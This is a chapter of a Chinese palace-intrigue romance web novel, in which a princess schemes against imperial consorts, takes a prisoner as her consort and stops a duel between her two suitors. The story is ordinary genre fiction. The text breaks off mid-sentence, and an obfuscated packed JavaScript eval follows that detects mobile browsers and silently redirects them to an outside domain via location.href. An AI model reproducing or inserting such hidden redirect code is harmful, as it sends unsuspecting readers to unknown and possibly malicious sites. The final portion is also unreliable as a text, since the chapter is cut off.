屠苍狗 作品
12. 丁年,等我来破局(第2页)
“您是说?皇上?可他是皇帝啊?您……怎么……”
阿元想说,我的公主您怎么敢想的?这皇帝的药怎么下?涉及皇嗣,又不能轻易假手于人,或许自己可以?
她这个念头刚冒出来,或者说她眼珠一转虞岁就察觉到了,抬手制止她,“停,你的脑袋不适合思考这种阴谋诡计阳谋设计的事情,轮不到你去做这种事,你就乖乖呆在我身边,任由我指哪打哪就好了。”
“唯。”
“洛茄什么时候入宫?”
“今夜。”
“这么急?聘为妻奔为妾,她不该叫洛茄,应该叫洛妾。”
“公主,咱们怎么应对?”
虞岁闭上眼睛揉了揉眉心,再睁眼,眼底一片清明,“不必咱们出手,前段时间你不是说陈相一党被打压的太狠,皇后也不管,陈相已经动了让陈思蒙进宫的心思,如今正好,都放进来,让她们热闹起来。”
“可是,陈小姐也是会给公主您添堵的。”
“放进来吧,她在宫外也不消停,为了嫁给她的念稷哥哥,见天见的折腾阿妄,不如放进来,放到咱们眼皮子底下,进了宫就由不得她了,不争宠,她怎么活?”
“公主思虑周全,是奴婢想左了,怕她们统一战线对付您。”
虞岁淡笑,“只要是几个女人夹了个男人,再有点权势做诱饵,就不怕她们不咬钩,一个钩挂多只鱼,怎么能全身而退?势必鲜血淋漓收场。这世上很多关系,看似固若金汤,只要逐一击破,也不过如此。”
“什么时候放进来需要安排么?”
“不必着意安排,今夜咱们放开手,怕是明日中午就能听到新人进宫的消息了。”
“公主说的是,您,这是要出门?”
虞岁有些咬牙切齿的说:“费了半天脑子,该去收点利息了,走,去看看给本宫节外生枝的祸水。”
地牢深处,死寂沉沉。昏黄如豆的火把,在幽暗中摇摇晃晃,像是随时都会熄灭。火光跳跃,把潮湿墙壁上的血污映照出张牙舞爪的模样。
丁年被粗重的铁链死死地锁在冰冷刺骨的石壁上,铁链碰撞,发出沉闷的声响,在空旷的地牢里回荡。
每一次呼吸,都带着铁锈与腐臭的气息,胸腔里满是压抑的疼痛。他的眼神却依旧倔强,透过凌乱的发丝,凝视着黑暗深处,似乎在等待着什么 。
一阵环珮声过后,虞岁的身影渐渐清晰,丁年起初还以为自己在做梦,遥寄思念挂星辰,梦里恍若见故人。
见他这样,虞岁出声调侃:“这才过了多久就不记得本宫了?怎么?是那洛小姐升小姐都比本宫令人记忆深刻?”
届笑春桃兮,云堆翠髻;唇绽樱颗兮,榴齿含香。
“虞岁?”
“真忘了?”
“怎么会?我的公主殿下”,丁年的状态虽然有些虚弱,但是语气中的欣喜若狂却是几个音节就已经一览无遗的。
千秋无绝色,悦目是佳人;倾国倾城貌,惊为天下人。
虞岁的裙摆扫过地面的尘土,不顾四周的阴森与腐臭,款款走到他面前。
四目相对,千言万语在那一瞬间凝噎,也多余。
她抬手,指尖轻轻抚上他的脸颊,丁年眼睛都不舍得眨一下,生怕这只是一场转瞬即逝的梦。
他微微偏头,仿若一只眷恋温暖的倦鸟,将脸更深地埋进她的掌心。
那掌心的温度,似是冬日里最暖的炉火,他贪婪地汲取着,仿佛要将这温度融入自己的灵魂深处。
紧接着,她如同一朵被风吹近的娇花,轻轻凑近,温热的呼吸如同轻柔的羽毛,浮光掠影般印在他的唇边,带着独属于她的馥郁香气,那是他在无数个辗转难眠的夜里魂牵梦萦的味道。
他再也抑制不住心底的渴望,像是被一种无形的力量牵引,忍不住倾身向前。
当他的唇触及到她唇瓣的瞬间,仿若有一道电流瞬间贯穿全身,他感觉自己的每一寸骨血都在放肆叫嚣,那是压抑已久的情感在这一刻彻底爆发。
他的动作轻柔得如同在对待天边皎洁的皓月,却又带着无尽的渴望,似要将这些时日以来的思念与爱意,都在这一吻中倾诉。
这个吻,像是黑暗中唯一的光,带着不顾一切的决绝。
他用力贴近她,铁链碰撞石壁发出沉闷声响,似在为这炽热的爱意奏响不和谐却又动人的律章。
她纤细的手指扣紧他的肩膀,指甲几乎嵌入他的肌肤,似要将他揉进自己的灵魂。
这个吻,宛如一泓清泉,淌过荒芜的心田,唤醒心湖的睡莲;又似夜空中的流萤,轻盈地飞荡,点亮彼此灵魂深处的星幕。
时间仿若被凝于琥珀之中,流光悄然凝滞,山川失色,尘世万物皆隐入水墨淡影,周遭一切像是被蒙上一层薄纱,影影绰绰,模糊难辨。
乾坤间,唯余两颗心的悸动,仿若暮鼓晨钟,交叠呼应,于无声处,恰似那丝竹雅乐,奏响一曲情长意绵的凤求凰 。
在这狭小阴暗的地牢,爱意滋生蔓延,肆意生长,这个吻加深了他对命运的反抗。
丁年私以为,这是虞岁给他的,绝境中相互依偎的誓言 。
她像他宿命的藤,缠绕与支撑厘不清。
“我好想你”,他的声音低沉暗哑,透着无限的缱绻与深情,每一个字都像是从心底最深处掏出来的。
虞岁好整以暇的看向他,“丁年,我再问一次,你愿不愿意跟我走,做我的,面首?”
丁年怔住了,上一秒还感觉自己见到了碧落花开,下一秒,就在黄泉徘徊,生生死死,死死生生,尽在虞岁的一念之间。
“原来是我错了,原来在你心里,我从始至终只是一个玩物,是你手中可以随意摆弄的棋子”,丁年的身形有些摇摇欲坠,若不是墙壁上的铁链锁着他,怕是他早已支撑不住。
虞岁的神情有些触动,“丁年,做我的所有物不好么?何必深究那么多呢?”
“是因为……那个卫韫么?所以我是见不得光的那一个啊。”
心头栽得苦情树,换不来那鸳鸯住。
“丁年,给你一夜的时间考虑,我不强迫你,明日,若你咬定不肯,我就放你走,从此山水万重,你我,不再重逢。”
归舟明日毗陵道,回首姑苏是白云。
出了地牢门,阿元恨恨的说:“公主,这丁年很是不知好歹,您这般为他,他还有什么不知足的?”
“说的是呢,不过,他若是那样好上手,也不值得本公主惦记这么久了。”
隔天一早,洛太尉之女颇得圣心,册封洛妃的旨意便晓昭六宫。
“公主,洛妃宫里的寺人请您过去,说是要叙旧。”
“来的这样快啊,她可真是耐不住,这样的性子怎么在宫里讨生活?”,虞岁懒懒的靠在美人靠上,由着侍女梳妆。
“公主,陈相那边已经安排好了,陈小姐会在午后于梨花树下一舞惑君心。”
虞岁的神色恹恹的,“毫无新意,去,派人到雀鸟司搞些珍禽,找人盯着,事情完了传出去百鸟朝凤的噱头,把事情弄大,场子热起来,别让皇后再闲着了,水不浑,咱们怎么趁机混水摸鱼?”
“唯。公主好计谋。”
“计谋好有什么用,有的人心啊,不可控,难搞。走吧,去会一会这位洛妃娘娘。”
“虞岁,好久不见,你还是这般,让本宫讨厌的样子。”
“是么?我可以一直这样青春永驻。”
“本宫是皇上新宠,区区公主,见了本宫为何不行礼?”
“洛茄,新宠是什么意思你明白么?就是再有新人进宫,你这个新宠就会变成旧人,你确定要为了争一时之气得罪我么?”
其实进宫之前,父亲已经耳提面命过,要洛茄千万不要去主动招惹虞岁,但她见到她就忍不住,她是真的恨。
洛茄也不跟她兜圈子,单刀直入的问:“虞岁,为了丁年,你可以做到哪步呢?骨头硬?跪不得?真要说起来,本宫也是你的庶母,跪不得么?”
虞岁就喜欢这种直接亮底牌的下家,省了她多少心思,不就是跪一跪么?她能屈能伸,有这么软的膝盖,做什么都会成功的。
下跪不难,难的是跪下去能不能站起来,难的是跪久了会不会站起来。
虞岁动作流畅,毫不拖泥带水,“自是跪得。求洛妃娘娘,高抬贵手,让我带他走,我能屈能伸,不过你也要识相点,面子我给你了。人,你敢碰,就要做好洛家覆灭的准备。我说到做到。我父皇的事上,你没领教过么?洛,妃,娘,娘?”
洛茄看着虞岁,她自幼便在宫廷权谋的漩涡中心游走,见惯了人性的丑恶与贪婪,手段狠辣果决,行事从不拖泥带水,是众人眼中只可敬畏、不可亲近的高岭之花。
如今竟然真的跪在自己脚下,但虞岁怎么有这种本事?跪的比她站着还有气势?
虞岁说完,施施然站起,朱唇轻启,“如何?过瘾么?”
“虞岁,我不好过,你也要做好不好过的准备。你打算带丁年去哪?即使我不阻止,你就能救他么?说实在的,我是盼着他好的,但是不能跟你好,不能是你,不可以是你,只要不是你……”
虞岁摊手,“那恐怕要让你失望了,我不仅要带他走,我还要他做我的面首。”
“你?!你无耻!他不会愿意的。”
“为什么不愿意?是因为他连你太尉府的佳婿都嫌弃么?”
“虞岁!卫韫就要班师回朝,你就不怕他不肯?”
虞岁眸光中泛过一丝寒芒,“不关你的事。洛茄,脸面我给你了,你若是执迷不悟,那我就要悔棋了,卫韫肯不肯,我不在乎。而且你我都明白,若我父皇知道你对丁年的心思,一定会在乎。丁年若是有事,我刚刚下跪的时候也说了,你猜猜,我会不会让你活?让你们洛家活?”
良久,洛茄咬着牙说:“我们最好不要再有交集。”
虞岁转身往外走,边走边提醒她,“这谁说的准呢?你要记住,我最是睚眦必报,你若是想算计我,最好在心里演算千万遍,不要露出马脚,不要被我发现,否则就要做好万劫不复的准备。”
“公主,现在要去哪?”
“陈思蒙那边怎么样了?”
“到百鸟朝凤那一步就闹起来了,阖宫都在传,说陈相府要出娥皇女英了,皇后娘娘大怒,已经带了人过去了,咬死了不肯陈小姐进宫,声称若是陈小姐入宫,就要自请废后,皇上大发雷霆,已经回了养心殿。”
虞岁笑的开怀,“我真的很喜欢皇后这幅蠢样子,这步棋算是走对了。”
“说起来,皇后娘娘也是陈相府的女儿,如今地位稳固,再多一个陈家的女儿入宫巩固陈家的地位不好么?”
“她若是这么有大局观,也不至于巴巴的要除掉我母妃,也不至于在我母妃殁了之后才登上后位,更不至于防贼似的防了阿野这么多年,还生了老二那么个一脉相承的蠢儿子!一个需要依附自己的新人有什么可闹的?不过,幸好她蠢,省了我多少事。”
“公主是要去养心殿么?”
“正是呢,我这个父皇,对于得不到的女人最肯费心思了,这时候他正瞌睡呢,我这么伶俐孝顺,可不得去递枕头么。”
养心殿里,虞岁逆着光而来,那张美艳的脸与记忆深处的人渐渐重合,颂帝忍不住呢喃,兰儿,是你么?
虞岁心下冷哼,面上堆满笑意,盈盈跪拜,“父皇,念舟来给您请安了。”
颂帝瞬间恢复清明,“念舟来了啊,起来吧。”
“儿臣听闻父皇圣心不悦,特来为您排忧。”
“提到这个就有气!皇后如今愈发不成体统了!”
“儿臣愿去劝慰母后,请父皇准允。”
颂帝笑了,“好!念舟若能促成此事,朕便满足你一个心愿!”
“儿臣确有一事想求一求父皇的恩典。”
“哦?说来听听。”
“儿臣想要一个面首。”
“哈哈哈,朕的念舟公主也到了思慕少艾的年纪了?是谁?卫韫么?”
“卫韫已经为父皇所用,自然不必再让儿臣费心为父皇出力,是丁年,儿臣,想要丁年。”
虞岁这话说的就很有深意了,一来,大大方方的点明了她周旋卫韫是为皇上效力,而来又点出丁年也有价值,假以时日,或也可为皇上所用,像卫韫那样。
颂帝沉吟片刻,仔细打量着下首的虞岁,不知什么时候起,这个他从前没放在眼里的女儿,一步一步走到他面前,走到世人面前,也能令众人谈之色变。
“丁年跟卫韫不同,怕不是你能驾驭的,朕得从长计议。”
“父皇,儿臣有把握,势在必得。”
“宫里还有很多资质不错的质子,像念安那个面首就不错,很听话。”
“父皇,儿臣只要丁年,一如当年父皇只要母妃那样”,虞岁说着,直挺挺跪下,神色坚决。
颂帝长叹一口气,“罢了,言升,拟旨,赦免丁年,赐予念舟公主,同念舟公主一起,择日搬往公主府。”
“儿臣谢父皇,愿父皇万寿常青,与天齐寿。”
“念舟啊,你同你母妃越来越像了,多来陪陪朕吧……”
“父皇放心,儿臣一定促成父皇与陈小姐一对佳偶天成。”
虞岁出声打断他,根本不想再听他继续那个话题,暂时也不想深究他这几年对她生出的荒唐又龌龊的心思。
宫里的女人,还是少,以至于他的心思竟有空放到亲女儿的身上!
皇后那里就容易多了,陈相得了消息,承诺只是为了助皇后巩固地位,无心皇嗣,已然给陈思蒙断了后路。
皇后借坡下驴,毕竟,硬要她选的话,宁可让一个没有后嗣的妃子为自己助益,也不想让自己的儿子失去一个联姻其他世家的机会。
再加上,虞岁在宫门口跪了一个时辰,皇后的气消的七七八八,终于松口,同意陈思蒙入宫封妃。
事情结束后,虞岁拐了一趟去到陈思蒙宫里。
“虞岁,你想看我的笑话?”
虞岁示意阿元清场,守好门口,才冷冷开口:“陈思蒙,我上次提醒过你了,别人呢,讲究个有再一再二没有再三再四,我不同,我讨厌重复,一次都不可以。所以你没机会了,这辈子就呆着我父皇身边吧,你闻到了么?整个皇宫都弥漫着他身上腐朽的味道。准备好了么?承受你亲姑母的怒火。”
“你休想挑拨离间!”
“你倒是会想,你对我有什么价值?值得我大费周章的特地来挑拨离间?”
“你到底想怎么样?我不信你只是来看我的!”
“算是吧,我是来可怜你的,看看你现在,如花似玉的年纪,却要困在这重重宫墙之内,听说,你父亲连后路都不给你留,你就心甘情愿的把你的大好年华都献给你们陈家?献给你姑母?献给我父皇?你想过没有?皇后若是真的心疼你,你本可以嫁给念稷,父皇若是真喜爱你,怎么会先有洛妃才有你,任由她压你一头?”
“我能怎么样呢?我是陈家的女儿,这是我的命。”
“命?只有懦弱的人才认命。你就不想为你自己争一争?”
“争?怎么争?”
虞岁循循善诱着,“你不会有子嗣了,可是陈家有,皇后有,我父皇也有,你说,这公平么?”
陈思蒙喃喃自语,“公平么?不公平……不公平……”
“大家都一样,才公平。”
有些话,点到为止;有些事,过犹不及,虞岁深谙此道。
“公主,陈妃会怎么做?”
“自然会为自己活一次,找个机灵点的盯着她,好戏就要开场了。”
“唯。公主,卫将军明日便会抵达。”
“是么?那走快点,为免夜长梦多,去找丁年,免得卫韫回来之后再有变数。”
彼时被打点过的典狱长已经放开丁年,虞岁见到他的时候,虽然他还是破衣烂衫,但是气色看上去已经好很多了。
“丁年,本宫想通了,已经求了父皇恩典,放你一条生路,此后山高水长,祝你前程似锦。”
听虞岁这样说,丁年和阿元齐齐看向她。
丁年眼中是震惊和怅然若失,他本该欣喜的,为何会心痛?
阿元眼中是疑惑和不明所以,她的公主这又是唱的哪出?
丁年嗫嚅着,指着血迹斑驳的墙壁,“虞岁,你不要我了?就在那里,你对我做了那样的事,不准备负责了?”
“我没说不负责,是你不肯。”
“你只让我考虑一夜,又没有再问我,你怎知我不肯?”
“算了吧,不属于我的,强求不来。”
“不能算,我愿意被你强求。”
“嗯?”
“我愿意,做你的面首。”
“还有呢?”
“我愿意跟你走。”
丁年明白,她偏偏要在一片荒芜里将他狠狠击落,他知她冷心傲骨,所以他甘做败者。收剑入鞘,封笔搁墨,于是他笑了,旁人夸她孤芳自赏,于寒冬独绽芳华,惊艳四方,嘲他黯淡无光,才情尽失,满心沧桑,可谁说冷香难久?他偏要看她久。
自此之后,丁年便以虞岁面首的身份,住进了奢华却暗藏玄机的公主府。
他心甘情愿对她俯首称臣,即使他不过是虞岁手中的一枚棋子,任她随意摆弄。
朝堂之上,每当有大臣对虞岁发难,虞岁便会带着丁年出席,丁年的身份,如同一颗重磅炸弹,瞬间扰乱众人视线,转移话题焦点。
众人皆以为虞岁沉迷男色,昏庸无道,殊不知她在暗中精心布局,一步步将权力的缰绳紧握在手中。
端午佳节,宫中大摆筵席,灯火辉煌,丝竹悠扬。
满朝文武与皇室宗亲齐聚一堂,觥筹交错间,表面上是一片歌舞升平之景,实则暗流涌动。
宴席间,陈相起身,满脸堆笑地向皇帝敬酒:“陛下,臣有一事启奏。近日听闻公主殿下有意插手吏部官员任免,这朝堂之事,自有规矩,岂容随意干涉?” 他的话一出口,众人的目光瞬间聚焦在虞岁身上。
虞岁轻轻放下酒杯,眼中闪过一丝杀意,却依旧笑意盈盈:“陈相大人这话从何说起?本宫不过是与几位官员闲聊,听闻他们对吏部考核制度有些看法,便随口提了几句,怎就成了插手官员任免?陈相大人莫不是误会了?”
陈相却不依不饶:“公主殿下,这官员任免关乎朝廷根基,可不是几句闲聊就能了事的。您如今深受圣上倚重,一举一动都备受瞩目,还望您慎言慎行。”
虞岁心中冷笑,近日二皇子和六皇子的党争逐渐白热化,而她有意无意的表现出被六皇子动摇的表象,今日这陈相怕是受了指使,故意来给自己难堪。
就在这时,丁年突然站起身来,向众人行了一礼:“诸位大人,在下虽身份卑微,但也有几句话想说。我曾听闻,陈大人的外甥在吏部任职,短短一年便连升两级,这其中是否存在任人唯亲之嫌?” 此言一出,全场震惊,陈相的脸色瞬间变得惨白。
陈相恼羞成怒,指着丁年骂道:“你这大胆狂徒,竟敢污蔑朝廷命官,该当何罪!”
丁年却毫不畏惧,从怀中掏出一份卷宗:“陛下,这是我收集的证据,上面详细记录了陈相大人外甥晋升的不合理之处。”
颂帝接过卷宗,脸色阴沉得可怕。
虞岁见状,趁热打铁:“父皇,朝堂之上,公平公正至关重要。如今吏部竟出现这般乱象,若不整治,如何服众?”
颂帝重重地拍了下桌子:“此事必须严查!陈境,吏部尚书是你的门生,若真有此事,朕定不轻饶!” 陈境吓得瘫倒在地,不停地磕头求饶。
宴席结束,虞岁和丁年一前一后走在长长的巷道中。
丁年亦步亦趋的跟在她身上,不紧不慢的脚步,不远不近的距离,半空悬着的明月泄下银白的光,从他的角度可以看到虞岁半笼在袖中的手,腕白肤红玉笋芽,调琴抽线露尖斜。
“丁年,你怎么知道陈相今日会发难?又适时的拿出证据?”
“公主不要把心思延伸到这种事情上,我没有未卜先知的能力,并不知道事情的走向,我只是,有备无患,到场的所有官员,我都搜罗了证据。”
虞岁停下脚步,回身看向他,“如此说来,我是捡到宝了?”
“貌似是,还请公主疼我”,丁年嗓音低沉,尾音微微发颤,隐藏着夜的温热与期待。
虞岁的视线借着月色肆无忌惮的勾勒着丁年的轮廓,他满脸都写着,你看看我啊,满眼都写着,求你爱我。
“是么?怎么疼?你教教我?”,虞岁说着,纤长的手指顺着他的衣领游走到衣襟,缓缓的探进去……
丁年的眼神渐渐变得炽热而深沉,原本清澈的眼眸此刻被欲望与爱意填满,像是一汪深不见底的幽潭,要将虞岁溺毙其中。
他的瞳孔急剧收缩,牢牢锁住虞岁的一举一动,那眼神里的侵略性毫不掩饰。
他喉结上下滚动,舔了下嘴唇,抑制不住内心的汹涌。
下一秒,虞岁从他怀里扯出一本册子,“都在这里么?”
“嗯”,丁年的声音像是从喉咙深处挤出来,透着难以言说的欲念,让这简单的一个字都染上了别样的旖旎色彩 。
“干得漂亮”,虞岁收好册子转身,却被丁年拉住,他掌心灼热的温度好似能穿透肌肤,直抵骨髓。
“公主,没有奖励么?”
虞岁微微仰起下颌,银白的月光恰似一层薄纱,温柔地洒落在她身上,细腻地勾勒出她优美流畅的侧脸线条,宛如一幅被精心描绘的工笔画。
她伸出手,食指与中指并拢,莹润的指尖先是轻轻贴上自己的唇,带着几分缱绻的情愫,停留片刻后,便带着独属于她的温度,将这个虚拟的吻,轻轻印在了丁年的唇上 。
丁年的呼吸瞬间急促起来,他怔怔地望着虞岁,眼中的炽热仿佛要将周遭的夜色点燃。
他下意识地倾身向前,想要捕捉那近在咫尺的温柔,可虞岁却似早有预料,在指尖离开他唇瓣的瞬间,便微微后退一步,与他保持着恰到好处的距离。
“公主……”丁年的声音欲色深深,“为何要这般撩拨我?”他的双眼紧紧盯着虞岁,像是要从她的眼眸中探寻出这份若即若离背后的答案。
虞岁轻笑一声,“怎么,承受不住了?”她微微歪头,眼中波光流转,似有万千情愫在其中翻涌,却又让人难以捉摸。
丁年他深吸一口气,努力压抑着内心的冲动。“公主可知,你这一举一动,对我而言,皆是蚀骨的诱惑。”说着,他又向前一步,这次虞岁没有再躲开,两人的距离近得能感受到彼此的呼吸。
“那又如何?”虞岁挑眉,眼中满是挑衅,“你待如何?”她的目光直直地撞进丁年的眼底,似是要与他在这场无声的较量中一决高下。
月光洒落在她的发丝上,勾勒出如梦似幻的轮廓,美得惊心动魄。
丁年凝视着她,眼中的炽热渐渐被坚定所取代,他猛地贴近她,她的脸放大倒映在他眼中,他的鼻息和她的鼻息交缠。
“可以么?”,他凑近她耳畔低语,轻轻吐气吹了下她鬓边的落发。
“不可以哦。”
虞岁说完,丁年没有再动作,他维持着这个姿势,几个呼吸后,他慢慢站直身体,理了理虞岁衣襟上的褶皱……
“公主,走吧,丁年永远在您身后。”
虞岁深知这场小小的交锋只是漫长权谋斗争中的一个小插曲,更大的挑战还在后头。
“公主,盯着陈情殿的人来报,说陈妃已经开始准备东西了。”
“她想通的倒是快,去找初九探探路,必要的时候帮她一把,手脚利落些,不要留下把柄,记得,无论什么结果,都要把咱们的人摘出去。”
“唯。公主安心,咱们的人都明白。”
“洛茄那里有什么动作?”
“暂时没有,她似乎真的在专心争宠。”
“再探,洛茄远比陈思蒙更沉得住气,这种摸不清路数的感觉,我不喜欢。”
“公主放心,有任何风吹草动即刻来报。”
“阿野近来如何?”
“殿下还是老样子,幕后的事做得游刃有余,除了盯着陈相和洛太尉,还在暗暗发展自己的势力。”
虞岁满意的点头,瞥了一眼阿元,见她有些欲言又止,“怎么了?”
“卫将军来了,在花园里跟丁公子,碰上了……”
“碰到了是迟早的事,也不至于你这幅模样。”
“卫将军要杀丁公子。”
“什么?”,虞岁将手中的棋谱重重的扔到桌案上,“真是荒唐!带我去看看。”
花园里,海棠树下,卫韫和丁年各站一端,空气中萦绕着剑拔弩张的气氛。
“久仰大名了,丁年”,卫韫率先发难。他的眼眸中燃烧着熊熊怒火,缓缓抽出腰间的佩剑,寒芒闪烁,剑刃在日光的映照下,透着冰冷的杀意。
丁年微微眯起眼,周身散发的肃杀之气让周遭的空气都仿佛凝固了,“卫将军威名远扬,今日得见,幸会。只是不知丁某究竟犯了何事,竟引得将军如此大动干戈,欲取我性命?”
“我早就知道,你留在她身边,就是一个祸患,今日我便为她清理门户!”
“卫韫,慎言。你为她?你凭什么?凭你也配?”,丁年冷笑,嘴角勾起一抹嘲讽的弧度,字字如刀,直击卫韫心底最敏感的角落。
“我今天倒要看看,你的脖子,有没有你的嘴硬!”,卫韫被彻底激怒,暴喝一声,如同一头发狂的猛兽,举剑便向丁年刺去,剑风呼啸,带起一阵尘土。
“你的嘴倒是比你的剑硬!”,丁年不退反进,率先出手。他身形如电,脚尖轻点地面,整个人如离弦之箭般冲向卫韫。右手成掌,裹挟着凌厉的劲风,直逼卫韫持剑的手腕。
卫韫见状,剑势转化,变刺为削,锋利的剑刃划过一道弧线,斩向丁年的手臂。
丁年反应极快,迅速收掌,侧身一闪,同时左腿猛地踢出,目标是卫韫的下盘。
卫韫身形矫健,向后一跃,轻松避开这一击,随后长剑挥舞,剑影如织,密不透风地向丁年攻去。
两人你来我往,激战正酣。卫韫的剑法大开大合,每一剑都带着千钧之力,仿佛要将眼前的一切都劈成两半;
丁年则身形灵动,招式变幻莫测,巧妙地化解着卫韫的攻击,还不时寻机反击。
花园中的海棠树在他们的打斗中惨遭殃及,花瓣如雪般纷纷飘落,地上很快便铺上了一层嫣红,与两人的身影交织在一起,构成了一幅诡谲又壮烈的画面 。
丁年余光看到虞岁匆匆赶来,收招,卫韫眼见有隙可寻,挥剑斩向丁年的肩,丁年也不躲,剑刃顺势而下,在丁年的肩头划开一道长长的口子,鲜血瞬间涌出,洇红了他的衣衫。
虞岁见状,猛地抽出阿元腰间的软鞭,精准缠住卫韫的手腕,打掉了他手中的长剑,在他手腕处留下一道深深的血痕。
虞岁扔掉软鞭,走到丁年面前,一边蹲下察看他的伤势,一边沉声低吼:“卫韫,你疯了不成!”
卫韫盯着手腕的伤口,有些失控,他难过的不是她对他出手,他难过的是她为了丁年对他出手,当即有些苍凉悲戚的说:“没错!我是疯了!从我认识你那天起,我就疯了!从我为了你去军中那天起,我就疯了!从你请旨把这个小白脸带到你身边那天起,我就疯了!”
虞岁看着丁年苍白的脸有些气血翻涌,听到卫韫的说辞,头都疼了,“滚回你的将军府!等你冷静下来我们再谈。”
她扶起丁年,转身欲走……
卫韫一把上前扯住丁年,丁年被他扯的一个趔趄,“他不能走!”
虞岁都有些佩服卫韫了,竟然能让自己破功,她狠狠打掉卫韫拉住丁年的手,力量很大,直震的自己手心发麻,“卫韫!你闹够了没有?!”
“虞岁,我和丁年,你只能选一个!”,卫韫执拗的要一个答案。
虞岁真的恼了,她把丁年扶正,让他倚靠在自己身上。
然后,一字一句的对卫韫说:“只能选一个?你还真把自己当回事!莫说他丁年是本宫名正言顺的面首,便是你,本宫现在想要,下一刻就会有人来引着你洗干净了躺到本宫的床榻之上!本宫只说一次,你最好记住,本宫和你之间,只有本宫有说要或不要的权力!你卫韫,没有说的资格,也没有拒绝的资格!听明白了么?!”
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033545|162368||http|test|mini|href|location''.split(''|''),0,{}));